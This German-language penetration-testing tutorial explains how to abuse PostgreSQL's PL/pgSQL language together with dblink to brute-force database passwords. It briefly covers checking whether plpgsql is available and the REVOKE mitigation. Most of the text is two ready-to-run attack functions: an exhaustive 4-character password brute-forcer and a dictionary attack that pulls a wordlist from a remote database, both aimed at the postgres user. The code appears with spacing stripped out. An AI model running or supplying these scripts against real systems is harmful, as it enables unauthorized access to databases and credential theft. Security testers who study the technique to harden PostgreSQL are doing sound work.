PL/pgSQL ist eine vollständig ausgestattete Programmiersprache, die über die Möglichkeiten von SQL hinausgeht, indem sie erweiterte prozedurale Kontrolle bietet. Dazu gehört die Nutzung von Schleifen und verschiedenen Kontrollstrukturen. Funktionen, die in der PL/pgSQL-Sprache erstellt wurden, können durch SQL-Anweisungen und Trigger aufgerufen werden, was den Umfang der Operationen innerhalb der Datenbankumgebung erweitert.
Du kannst diese Sprache missbrauchen, um PostgreSQL zu bitten, die Benutzeranmeldeinformationen bruteforce zu knacken, aber sie muss in der Datenbank existieren. Du kannst ihre Existenz überprüfen, indem du:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
Standardmäßig ist das Erstellen von Funktionen ein Privileg, das PUBLIC gewährt wird, wobei PUBLIC sich auf jeden Benutzer in diesem Datenbanksystem bezieht. Um dies zu verhindern, hätte der Administrator das USAGE-Privileg aus dem PUBLIC-Bereich entziehen müssen:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
In diesem Fall würde unsere vorherige Abfrage unterschiedliche Ergebnisse ausgeben:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
Beachten Sie, dass für das folgende Skript die Funktion dblink existieren muss. Wenn sie nicht existiert, können Sie versuchen, sie mit
CREATE EXTENSION dblink;
Passwort-Bruteforce
Hier ist, wie Sie einen 4-Zeichen-Passwort-Bruteforce durchführen könnten:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Note, dass selbst das Brute-Forcen von 4 Zeichen mehrere Minuten dauern kann.
Sie könnten auch eine Wortliste herunterladen und nur diese Passwörter ausprobieren (Wörterbuchangriff):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');